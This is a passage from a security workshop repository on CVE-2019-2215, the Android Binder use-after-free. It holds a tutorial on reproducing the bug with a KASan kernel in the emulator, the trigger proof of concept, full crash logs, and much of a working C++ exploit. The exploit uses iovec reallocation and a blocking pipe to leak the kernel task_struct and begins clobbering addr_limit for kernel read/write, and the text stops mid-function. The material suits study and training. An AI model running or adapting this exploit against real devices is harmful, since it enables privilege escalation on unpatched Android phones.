kasan_add_zero_shadow 163 | ffffffff806d3a9c T kasan_alloc_pages 164 | ffffffff806d3b44 T kasan_cache_create 165 | ffffffff806d55b9 T kasan_cache_shrink 166 | ffffffff806d55c4 T kasan_cache_shutdown 167 | ``` 168 | 169 | 170 | ## Boot Kernel {#boot-kernel} 171 | 172 | Let's boot this custom kernel in **emulator**. 173 | 174 | ```bash 175 | ashfaq@hacksys:~/workshop/android-4.14-dev$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage 176 | ``` 177 | 178 | 179 | > **Note:** `-show-kernel` flag is used to display kernel debug messages in the terminal window. Read more about emulator command line flags here https://developer.android.com/studio/run/emulator-commandline 180 | 181 | 182 | If you look at kernel log being displayed in the terminal window after running the above command, you will notice this 183 | 184 | ``` 185 | [ 0.000000] kasan: KernelAddressSanitizer initialized 186 | ``` 187 | 188 | This is an indicator that we are able to successfully boot a custom kernel built with **KASan** support. 189 | 190 | 191 | ## Crash {#crash} 192 | 193 | Let's grab the PoC from the original bug report and see if we are able to trigger the vulnerability and produce a **KASan** crash. 194 | 195 | You can find the trigger PoC in `workshop/exploit/trigger.cpp`. I have provided a `Makefile` that you can use to build the PoC and push it to the **virtual device**. 196 | 197 | ```cpp 198 | #include 199 | #include 200 | #include 201 | #include 202 | 203 | #define BINDER_THREAD_EXIT 0x40046208ul 204 | 205 | int main() { 206 | int fd, epfd; 207 | struct epoll_event event = {.events = EPOLLIN}; 208 | 209 | fd = open("/dev/binder", O_RDONLY); 210 | epfd = epoll_create(1000); 211 | epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); 212 | ioctl(fd, BINDER_THREAD_EXIT, NULL); 213 | } 214 | ``` 215 | 216 | ```bash 217 | ashfaq@hacksys:~/workshop$ cd exploit/ 218 | ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger 219 | Building: cve-2019-2215-trigger 220 | Pushing: cve-2019-2215-trigger to /data/local/tmp 221 | cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s) 222 | ``` 223 | 224 | ```bash 225 | ashfaq@hacksys:~/workshop/exploit$ adb shell 226 | generic_x86_64:/ $ uname -a 227 | Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64 228 | generic_x86_64:/ $ cd /data/local/tmp 229 | generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger 230 | generic_x86_64:/data/local/tmp $ 231 | ``` 232 | 233 | Look at the terminal window from where you launched the **emulator**, you will see the **KASan** crash log. 234 | 235 | ``` 236 | [ 382.398561] ================================================================== 237 | [ 382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d 238 | [ 382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682 239 | [ 382.409386] 240 | [ 382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1 241 | [ 382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014 242 | [ 382.417931] Call Trace: 243 | [ 382.419106] dump_stack+0x78/0xbe 244 | [ 382.420596] print_address_description+0x81/0x25d 245 | [ 382.422146] ? _raw_spin_lock_irqsave+0x3a/0x5d 246 | [ 382.423691] __kasan_report+0x14f/0x180 247 | [ 382.425082] ? _raw_spin_lock_irqsave+0x3a/0x5d 248 | [ 382.426437] kasan_report+0x26/0x49 249 | [ 382.427468] check_memory_region+0x171/0x17e 250 | [ 382.428725] kasan_check_write+0x14/0x16 251 | [ 382.429884] _raw_spin_lock_irqsave+0x3a/0x5d 252 | [ 382.431010] remove_wait_queue+0x27/0x122 253 | [ 382.432003] ? fsnotify_unmount_inodes+0x1e8/0x1e8 254 | [ 382.433156] ep_unregister_pollwait+0x160/0x1bd 255 | [ 382.434252] ep_free+0x8b/0x181 256 | [ 382.435024] ? ep_eventpoll_poll+0x228/0x228 257 | [ 382.435953] ep_eventpoll_release+0x48/0x54 258 | [ 382.436825] __fput+0x1f2/0x51d 259 | [ 382.437483] ____fput+0x15/0x18 260 | [ 382.438145] task_work_run+0x127/0x154 261 | [ 382.438932] do_exit+0x818/0x2384 262 | [ 382.439642] ? mm_update_next_owner+0x52f/0x52f 263 | [ 382.440555] do_group_exit+0x12c/0x24b 264 | [ 382.441247] ? do_group_exit+0x24b/0x24b 265 | [ 382.441964] SYSC_exit_group+0x17/0x17 266 | [ 382.442652] SyS_exit_group+0x14/0x14 267 | [ 382.443264] do_syscall_64+0x19e/0x225 268 | [ 382.443920] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 269 | [ 382.444784] RIP: 0033:0x4047d7 270 | [ 382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 271 | [ 382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7 272 | [ 382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000 273 | [ 382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000 274 | [ 382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190 275 | [ 382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0 276 | [ 382.453146] 277 | [ 382.453427] Allocated by task 7682: 278 | [ 382.454054] save_stack_trace+0x16/0x18 279 | [ 382.454738] __kasan_kmalloc+0x133/0x1cc 280 | [ 382.455445] kasan_kmalloc+0x9/0xb 281 | [ 382.456063] kmem_cache_alloc_trace+0x1bd/0x26f 282 | [ 382.456869] binder_get_thread+0x166/0x6db 283 | [ 382.457605] binder_poll+0x4c/0x1c2 284 | [ 382.458235] SyS_epoll_ctl+0x1558/0x24f0 285 | [ 382.458910] do_syscall_64+0x19e/0x225 286 | [ 382.459598] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 287 | [ 382.460525] 0xffffffffffffffff 288 | [ 382.461085] 289 | [ 382.461334] Freed by task 7682: 290 | [ 382.461762] save_stack_trace+0x16/0x18 291 | [ 382.462222] __kasan_slab_free+0x18f/0x23f 292 | [ 382.462711] kasan_slab_free+0xe/0x10 293 | [ 382.463149] kfree+0x193/0x5b3 294 | [ 382.463538] binder_thread_dec_tmpref+0x192/0x1d9 295 | [ 382.464095] binder_thread_release+0x464/0x4bd 296 | [ 382.464623] binder_ioctl+0x48a/0x101c 297 | [ 382.465071] do_vfs_ioctl+0x608/0x106a 298 | [ 382.465518] SyS_ioctl+0x75/0xa4 299 | [ 382.465906] do_syscall_64+0x19e/0x225 300 | [ 382.466358] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 301 | [ 382.466953] 0xffffffffffffffff 302 | [ 382.467335] 303 | [ 382.467783] The buggy address belongs to the object at ffff88804e486528 304 | [ 382.467783] which belongs to the cache kmalloc-512 of size 512 305 | [ 382.469983] The buggy address is located 160 bytes inside of 306 | [ 382.469983] 512-byte region [ffff88804e486528, ffff88804e486728) 307 | [ 382.472065] The buggy address belongs to the page: 308 | [ 382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0 309 | [ 382.474871] flags: 0x4000000000010200(slab|head) 310 | [ 382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e 311 | [ 382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000 312 | [ 382.478072] page dumped because: kasan: bad access detected 313 | [ 382.478784] 314 | [ 382.478973] Memory state around the buggy address: 315 | [ 382.479571] ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc 316 | [ 382.480479] ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb 317 | [ 382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 318 | [ 382.482155] ^ 319 | [ 382.482806] ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 320 | [ 382.483648] ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 321 | [ 382.484485] ================================================================== 322 | ``` 323 | 324 | Few things to note from the crash log: 325 | 326 | * This is a `Use after Free` vulnerability 327 | * Crashed while writing **4 bytes** in the dangling chunk 328 | * The dangling chunk belong to `kmalloc-512` cache 329 | 330 | 331 | ## KASan Symbolizer {#kasan-symbolizer} 332 | 333 | The above crash log is not very intuitive. We can symbolize the stack traces using [`kasan_symbolize.py`](https://github.com/google/sanitizers/blob/master/address-sanitizer/tools/kasan_symbolize.py). 334 | 335 | ```bash 336 | ashfaq@hacksys:/tmp$ cat report.txt | python kasan_symbolize.py --linux=~/workshop/android-4.14-dev/out/kasan/ --strip=/home/ashfaq/workshop/android-4.14-dev/goldfish/ 337 | ``` 338 | ``` 339 | ================================================================== 340 | BUG: KASAN: use-after-free in[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 341 | BUG: KASAN: use-after-free in[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 342 | BUG: KASAN: use-after-free in[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 343 | BUG: KASAN: use-after-free in[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 344 | BUG: KASAN: use-after-free in[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 345 | Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682 346 | 347 | CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1 348 | Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014 349 | Call Trace: 350 | [< inline >] __dump_stack lib/dump_stack.c:17 351 | [< none >] dump_stack+0x78/0xbe lib/dump_stack.c:53 352 | [< none >] print_address_description+0x81/0x25d mm/kasan/report.c:187 353 | ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 354 | ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 355 | ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 356 | ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 357 | ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 358 | [< none >] __kasan_report+0x14f/0x180 mm/kasan/report.c:316 359 | ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 360 | ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 361 | ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 362 | ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 363 | ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 364 | [< none >] kasan_report+0x26/0x49 mm/kasan/common.c:626 365 | [< inline >] check_memory_region_inline mm/kasan/generic.c:182 366 | [< none >] check_memory_region+0x171/0x17e mm/kasan/generic.c:191 367 | [< none >] kasan_check_write+0x14/0x16 mm/kasan/common.c:106 368 | [< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 369 | [< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 370 | [< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 371 | [< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 372 | [< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 373 | [< none >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50 374 | ?[< none >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99 375 | [< inline >] ep_remove_wait_queue fs/eventpoll.c:612 376 | [< none >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630 377 | [< none >] ep_free+0x8b/0x181 fs/eventpoll.c:847 378 | ?[< none >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942 379 | [< none >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879 380 | [< none >] __fput+0x1f2/0x51d fs/file_table.c:210 381 | [< none >] ____fput+0x15/0x18 fs/file_table.c:244 382 | [< none >] task_work_run+0x127/0x154 kernel/task_work.c:113 383 | [< inline >] exit_task_work include/linux/task_work.h:22 384 | [< none >] do_exit+0x818/0x2384 kernel/exit.c:875 385 | ?[< none >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468 386 | [< none >] do_group_exit+0x12c/0x24b kernel/exit.c:978 387 | ?[< inline >] spin_unlock_irq include/linux/spinlock.h:367 388 | ?[< none >] do_group_exit+0x24b/0x24b kernel/exit.c:975 389 | [< none >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989 390 | [< none >] SyS_exit_group+0x14/0x14 kernel/exit.c:987 391 | [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 392 | [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 393 | RIP: 0033:0x4047d7 394 | RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 395 | RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7 396 | RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000 397 | RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000 398 | R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190 399 | R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0 400 | 401 | Allocated by task 7682: 402 | [< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 403 | [< inline >] save_stack mm/kasan/common.c:76 404 | [< inline >] set_track mm/kasan/common.c:85 405 | [< none >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501 406 | [< none >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515 407 | [< none >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819 408 | [< inline >] kmalloc include/linux/slab.h:488 409 | [< inline >] kzalloc include/linux/slab.h:661 410 | [< none >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677 411 | [< none >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805 412 | [< inline >] ep_item_poll fs/eventpoll.c:888 413 | [< inline >] ep_insert fs/eventpoll.c:1476 414 | [< inline >] SYSC_epoll_ctl fs/eventpoll.c:2128 415 | [< none >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014 416 | [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 417 | [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 418 | 0xffffffffffffffff 419 | 420 | Freed by task 7682: 421 | [< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 422 | [< inline >] save_stack mm/kasan/common.c:76 423 | [< inline >] set_track mm/kasan/common.c:85 424 | [< none >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463 425 | [< none >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471 426 | [< inline >] slab_free_hook mm/slub.c:1407 427 | [< inline >] slab_free_freelist_hook mm/slub.c:1458 428 | [< inline >] slab_free mm/slub.c:3039 429 | [< none >] kfree+0x193/0x5b3 mm/slub.c:3976 430 | [< inline >] binder_free_thread drivers/android/binder.c:4705 431 | [< none >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053 432 | [< none >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794 433 | [< none >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062 434 | [< none >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46 435 | [< inline >] SYSC_ioctl fs/ioctl.c:701 436 | [< none >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692 437 | [< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 438 | [< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 439 | 0xffffffffffffffff 440 | 441 | The buggy address belongs to the object at ffff88804e486528 442 | which belongs to the cache kmalloc-512 of size 512 443 | The buggy address is located 160 bytes inside of 444 | 512-byte region [ffff88804e486528, ffff88804e486728) 445 | The buggy address belongs to the page: 446 | page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0 447 | flags: 0x4000000000010200(slab|head) 448 | raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e 449 | raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000 450 | page dumped because: kasan: bad access detected 451 | 452 | Memory state around the buggy address: 453 | ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc 454 | ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb 455 | >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 456 | ^ 457 | ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 458 | ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 459 | ================================================================== 460 | ``` 461 | 462 | Isn't this more useful than the previous crash log. 463 | -------------------------------------------------------------------------------- /exploit/exploit.cpp: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | ## # # ### ### ### # ### ### ### # ### 4 | # # # # # # # ## # # # # ## # 5 | # # # ## ### ### # # # ### ### ### ### # ### 6 | # # # # # # # # # # # # # 7 | ## # ### ### ### ### ### ### ### ### ### 8 | @HackSysTeam 9 | 10 | CVE-2019-2215 11 | Android Binder Use after Free 12 | CloudFuzz TechnoLabs Pvt. Ltd. 13 | 14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ 15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html 17 | 18 | Thanks: 19 | @maddiestone 20 | @tehjh 21 | 22 | --*/ 23 | 24 | #include "exploit.h" 25 | 26 | 27 | /** 28 | * Bind to CPU 29 | */ 30 | void BinderUaF::bindToCPU() { 31 | int ret; 32 | cpu_set_t cpuSet; 33 | 34 | CPU_ZERO(&cpuSet); 35 | CPU_SET(0, &cpuSet); 36 | 37 | // 38 | // It's a good thing to bind the CPU to a specific core, 39 | // so that we do not get scheduled to different core and 40 | // mess up the SLUB state 41 | // 42 | 43 | INFO("[+] Binding to 0th core\n"); 44 | 45 | ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuSet); 46 | 47 | if (ret < 0) { 48 | ERR("[-] bindCPU failed: 0x%x\n", errno); 49 | } 50 | } 51 | 52 | 53 | /** 54 | * Open the binder device 55 | */ 56 | void BinderUaF::setupBinder() { 57 | INFO("[+] Opening: /dev/binder\n"); 58 | 59 | m_binder_fd = open("/dev/binder", O_RDONLY); 60 | 61 | if (m_binder_fd < 0) { 62 | ERR("\t[-] Unable to get binder fd\n"); 63 | exit(EXIT_FAILURE); 64 | } else { 65 | INFO("\t[*] m_binder_fd: 0x%x\n", m_binder_fd); 66 | } 67 | } 68 | 69 | 70 | /** 71 | * Free the binder thread structure 72 | */ 73 | void BinderUaF::freeBinderThread() { 74 | INFO("[+] Freeing binder_thread\n"); 75 | 76 | ioctl(m_binder_fd, BINDER_THREAD_EXIT, NULL); 77 | } 78 | 79 | 80 | /** 81 | * Create the event poll 82 | */ 83 | void BinderUaF::setupEventPoll() { 84 | INFO("[+] Creating event poll\n"); 85 | 86 | m_epoll_fd = epoll_create(1); 87 | 88 | if (m_epoll_fd < 0) { 89 | ERR("\t[-] Unable to get event poll fd\n"); 90 | exit(EXIT_FAILURE); 91 | } else { 92 | INFO("\t[*] m_epoll_fd: 0x%x\n", m_epoll_fd); 93 | } 94 | } 95 | 96 | 97 | /** 98 | * Allocate 4GB aligned page 99 | */ 100 | void BinderUaF::mmap4gbAlignedPage() { 101 | if (!m_4gb_aligned_page) { 102 | INFO("[+] Mapping 4GB aligned page\n"); 103 | 104 | m_4gb_aligned_page = mmap( 105 | (void *) 0x100000000ul, 106 | PAGE_SIZE, 107 | PROT_READ | PROT_WRITE, 108 | MAP_PRIVATE | MAP_ANONYMOUS, 109 | -1, 110 | 0 111 | ); 112 | 113 | if (!m_4gb_aligned_page) { 114 | ERR("\t[-] Unable to mmap 4GB aligned page\n"); 115 | exit(EXIT_FAILURE); 116 | } else { 117 | INFO("\t[*] Mapped page: %p\n", m_4gb_aligned_page); 118 | } 119 | } 120 | } 121 | 122 | 123 | /** 124 | * Link eppoll_entry->wait.entry to binder_thread->wait.head 125 | */ 126 | void BinderUaF::linkEventPollWaitQueueToBinderThreadWaitQueue() { 127 | INFO("[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n"); 128 | 129 | epoll_ctl(m_epoll_fd, EPOLL_CTL_ADD, m_binder_fd, &m_epoll_event); 130 | } 131 | 132 | 133 | /** 134 | * Unlink eppoll_entry->wait.entry from binder_thread->wait.head 135 | */ 136 | void BinderUaF::unlinkEventPollWaitQueueFromBinderThreadWaitQueue() { 137 | INFO("[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n"); 138 | 139 | epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event); 140 | } 141 | 142 | 143 | /** 144 | * The dangling chunk is binder_thread structure 145 | * and it contains an interesting member task_struct 146 | */ 147 | void BinderUaF::leakTaskStruct() { 148 | int pipe_fd[2] = {0}; 149 | ssize_t nBytesRead = 0; 150 | static char dataBuffer[PAGE_SIZE] = {0}; 151 | struct iovec iovecStack[IOVEC_COUNT] = {nullptr}; 152 | 153 | // 154 | // Get binder fd 155 | // 156 | 157 | setupBinder(); 158 | 159 | // 160 | // Create event poll 161 | // 162 | 163 | setupEventPoll(); 164 | 165 | // 166 | // We are going to use iovec for scoped read/write, 167 | // we need to make sure that iovec stays in the kernel 168 | // before we trigger the unlink after binder_thread has 169 | // been freed. 170 | // 171 | // One way to achieve this is by using the blocking APIs 172 | // in Linux kernel. Such APIs are read, write, etc on pipe. 173 | // 174 | 175 | // 176 | // Setup pipe for iovec 177 | // 178 | 179 | INFO("[+] Setting up pipe\n"); 180 | 181 | if (pipe(pipe_fd) == -1) { 182 | ERR("\t[-] Unable to create pipe\n"); 183 | exit(EXIT_FAILURE); 184 | } else { 185 | INFO("\t[*] Pipe created successfully\n"); 186 | } 187 | 188 | // 189 | // pipe_fd[0] = read fd 190 | // pipe_fd[1] = write fd 191 | // 192 | // Default size of pipe is 65536 = 0x10000 = 64KB 193 | // This is way much of data that we care about 194 | // Let's reduce the size of pipe to 0x1000 195 | // 196 | if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) == -1) { 197 | ERR("\t[-] Unable to change the pipe capacity\n"); 198 | exit(EXIT_FAILURE); 199 | } else { 200 | INFO("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE); 201 | } 202 | 203 | INFO("[+] Setting up iovecs\n"); 204 | 205 | // 206 | // As we are overlapping binder_thread with iovec, 207 | // binder_thread->wait.lock will align to iovecStack[10].io_base. 208 | // 209 | // If binder_thread->wait.lock is not 0 then the thread will get 210 | // stuck in trying to acquire the lock and the unlink operation 211 | // will not happen. 212 | // 213 | // To avoid this, we need to make sure that the overlapped data 214 | // should be set to 0. 215 | // 216 | // iovec.iov_base is a 64bit value, and spinlock_t is 32bit, so if 217 | // we can pass a valid memory address whose lower 32bit value is 0, 218 | // then we can avoid spin lock issue. 219 | // 220 | 221 | mmap4gbAlignedPage(); 222 | 223 | iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page; 224 | iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE; 225 | iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141; 226 | iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE; 227 | 228 | // 229 | // Now link the poll wait queue to binder thread wait queue 230 | // 231 | 232 | linkEventPollWaitQueueToBinderThreadWaitQueue(); 233 | 234 | // 235 | // We should trigger the unlink operation when we 236 | // have the binder_thread reallocated as iovec array 237 | // 238 | 239 | // 240 | // Now fork 241 | // 242 | 243 | pid_t childPid = fork(); 244 | 245 | if (childPid == 0) { 246 | // 247 | // child process 248 | // 249 | 250 | // 251 | // There is a race window between the unlink and blocking 252 | // in writev, so sleep for a while to ensure that we are 253 | // blocking in writev before the unlink happens 254 | // 255 | 256 | sleep(2); 257 | 258 | // 259 | // Trigger the unlink operation on the reallocated chunk 260 | // 261 | 262 | unlinkEventPollWaitQueueFromBinderThreadWaitQueue(); 263 | 264 | // 265 | // First interesting iovec will read 0x1000 bytes of data. 266 | // This is just the junk data that we are not interested in 267 | // 268 | 269 | nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer)); 270 | 271 | if (nBytesRead != PAGE_SIZE) { 272 | ERR("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE); 273 | exit(EXIT_FAILURE); 274 | } 275 | 276 | exit(EXIT_SUCCESS); 277 | 278 | } 279 | 280 | // 281 | // parent process 282 | // 283 | 284 | // 285 | // I have seen some races which hinders the reallocation. 286 | // So, now freeing the binder_thread after fork. 287 | // 288 | 289 | freeBinderThread(); 290 | 291 | // 292 | // Reallocate binder_thread as iovec array 293 | // 294 | // We need to make sure this writev call blocks 295 | // This will only happen when the pipe is already full 296 | // 297 | 298 | // 299 | // This print statement was ruining the reallocation, 300 | // spent a night to figure this out. Commenting the 301 | // below line. 302 | // 303 | 304 | // INFO("[+] Reallocating binder_thread\n"); 305 | 306 | 307 | ssize_t nBytesWritten = writev(pipe_fd[1], iovecStack, IOVEC_COUNT); 308 | 309 | // 310 | // If the corruption was successful, the total bytes written 311 | // should be equal to 0x2000. This is because there are two 312 | // valid iovec and the length of each is 0x1000 313 | // 314 | 315 | if (nBytesWritten != PAGE_SIZE * 2) { 316 | ERR("\t[-] writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2); 317 | exit(EXIT_FAILURE); 318 | } else { 319 | INFO("\t[*] Wrote 0x%lx bytes\n", nBytesWritten); 320 | } 321 | 322 | // 323 | // Now read the actual data from the corrupted iovec 324 | // This is the leaked data from kernel address space 325 | // and will contain the task_struct pointer 326 | // 327 | 328 | nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer)); 329 | 330 | if (nBytesRead != PAGE_SIZE) { 331 | ERR("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE); 332 | exit(EXIT_FAILURE); 333 | } 334 | 335 | // 336 | // Wait for the child process to exit 337 | // 338 | 339 | wait(nullptr); 340 | 341 | m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA)); 342 | 343 | m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid)); 344 | m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred)); 345 | m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy)); 346 | 347 | INFO("[+] Leaked task_struct: %p\n", m_task_struct); 348 | INFO("\t[*] &task_struct->pid: %p\n", m_pidAddress); 349 | INFO("\t[*] &task_struct->cred: %p\n", m_credAddress); 350 | INFO("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress); 351 | } 352 | 353 | 354 | /** 355 | * Clobber addr_limit 356 | */ 357 | void BinderUaF::clobberAddrLimit() { 358 | int sock_fd[2] = {0}; 359 | ssize_t nBytesWritten = 0; 360 | struct msghdr message = {nullptr}; 361 | struct iovec iovecStack[IOVEC_COUNT] = {nullptr}; 362 | 363 | // 364 | // Get binder fd 365 | // 366 | 367 | setupBinder(); 368 | 369 | // 370 | // Create event poll 371 | // 372 | 373 | setupEventPoll(); 374 | 375 | // 376 | // For clobbering the addr_limit we trigger the unlink 377 | // operation again after reallocating binder_thread with 378 | // iovecs 379 | // 380 | // If you see how we manage to leak kernel data is by using 381 | // the blocking feature of writev 382 | // 383 | // We could use readv blocking feature to do scoped write 384 | // However, after trying readv and reading the Linux kernel 385 | // code, I figured out an issue which makes readv useless for 386 | // current bug. 387 | // 388 | // The main issue that I found is: 389 | // 390 | // iovcArray[IOVEC_COUNT].iov_len is clobbered with a pointer 391 | // due to unlink operation 392 | // 393 | // So, when copy_page_to_iter_iovec tries to process the iovecs, 394 | // there is a line of code, copy = min(bytes, iov->iov_len); 395 | // Here, "bytes" is equal to sum of all iovecs length and as 396 | // "iov->iov_len" is corrupted with a pointer which is obviously 397 | // a very big number, now copy = sum of all iovecs length and skips 398 | // the processing of the next iovec which is the target iovec which 399 | // would give was scoped write. 400 | // 401 | // I believe P0 also faced the same issue so they switched to recvmsg 402 | // 403 | 404 | // 405 | // Setup socketpair for iovec 406 | // 407 | // AF_UNIX/AF_LOCAL is used because we are interested only in 408 | // local communication 409 | // 410 | // We use SOCK_STREAM so that MSG_WAITALL can be used in recvmsg 411 | // 412 | 413 | INFO("[+] Setting up socket\n"); 414 | 415 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1) { 416 | ERR("\t[-] Unable to create socketpair\n"); 417 | exit(EXIT_FAILURE); 418 | } else { 